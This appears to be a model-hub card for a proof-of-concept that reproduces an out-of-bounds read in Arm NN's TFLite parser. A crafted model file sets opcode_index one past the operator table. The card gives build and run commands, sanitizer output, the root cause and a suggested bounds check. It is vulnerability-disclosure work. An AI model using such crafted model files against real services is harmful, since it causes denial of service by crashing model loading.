YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Arm NN TFLite operator opcode-index out-of-bounds PoC

This package reproduces a deterministic heap-buffer-overflow read in Arm NN's TFLite parser. An operator-controlled opcode_index is used to index the model's operator_codes vector before any upper-bound validation.

The trigger sets opcode_index to 2 while the vector has two entries, with valid indices 0 and 1.

Tested revision

  • Repository: ARM-software/armnn
  • Commit: 2b61cecc9df7a43fca1463795062cf359e6be820
  • Entry point: armnnTfLiteParser::ITfLiteParser::CreateNetworkFromBinaryFile()
  • Sanitizers: AddressSanitizer and UndefinedBehaviorSanitizer

One-byte differential

Both fixtures are 376 bytes, contain a valid unary operator, and differ at exactly one byte:

$ cmp -l models/control-opcode-index-one.tflite models/trigger-opcode-index-two.tflite
185   1   2
  • Control: opcode_index: 1, valid for a two-entry opcode table.
  • Trigger: opcode_index: 2, exactly one past the opcode table.

SHA-256:

eae62e2c3dd4da94e0bb25ade621649136936a6f9d14961c4aeb6f2ac34c6c68  control-opcode-index-one.tflite
4fb6a531f81392a181e897b8e6239066a116795a5b3d6b05485d571b0c1c8475  trigger-opcode-index-two.tflite

Reproduction

Build Arm NN with its TFLite parser and sanitizers enabled. Compile the small loader against the resulting libraries:

clang++ -std=c++17 -fsanitize=address,undefined -fno-omit-frame-pointer \
  -I /path/to/armnn/include \
  load-tflite.cpp \
  -L /path/to/armnn/build \
  -larmnnTfLiteParser -larmnn \
  -Wl,-rpath,/path/to/armnn/build \
  -o load-tflite

Run the control:

./load-tflite models/control-opcode-index-one.tflite

Expected:

parsed successfully

Run the trigger:

./load-tflite models/trigger-opcode-index-two.tflite

AddressSanitizer reports:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8
#0 armnnTfLiteParser::TfLiteParserImpl::CreateNetworkFromModel()
#1 armnnTfLiteParser::TfLiteParserImpl::CreateNetworkFromBinaryFile(char const*)

The read occurs exactly zero bytes after the 16-byte allocation holding the two OperatorCodeT pointers. Three controls parsed successfully and three triggers aborted with exit code 134.

asan-output.txt contains the complete sanitizer report and repeated-results.txt contains the repetition summary.

Regenerating the fixtures

The fixtures were generated from TensorFlow's official tensorflow/compiler/mlir/lite/schema/schema.fbs using FlatBuffers flatc:

python3 generate_models.py \
  --flatc /path/to/flatbuffers/flatc \
  --schema /path/to/tensorflow/compiler/mlir/lite/schema/schema.fbs

Root cause and suggested fix

At the tested revision, TfLiteParser.cpp lines 1068–1091 contains:

const auto& opCodePtr = m_Model->operator_codes[op->opcode_index];

The later range check validates builtinCode, not op->opcode_index. Validate op->opcode_index < m_Model->operator_codes.size() and reject a null opcode entry before dereferencing it. Add regression tests for a one-past-end and large opcode index.

Impact

An attacker-controlled TFLite model can cause a deterministic native out-of-bounds read and process termination during model loading, before inference. This PoC establishes denial of service; it does not claim data disclosure or code execution.

Downloads last month
18
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support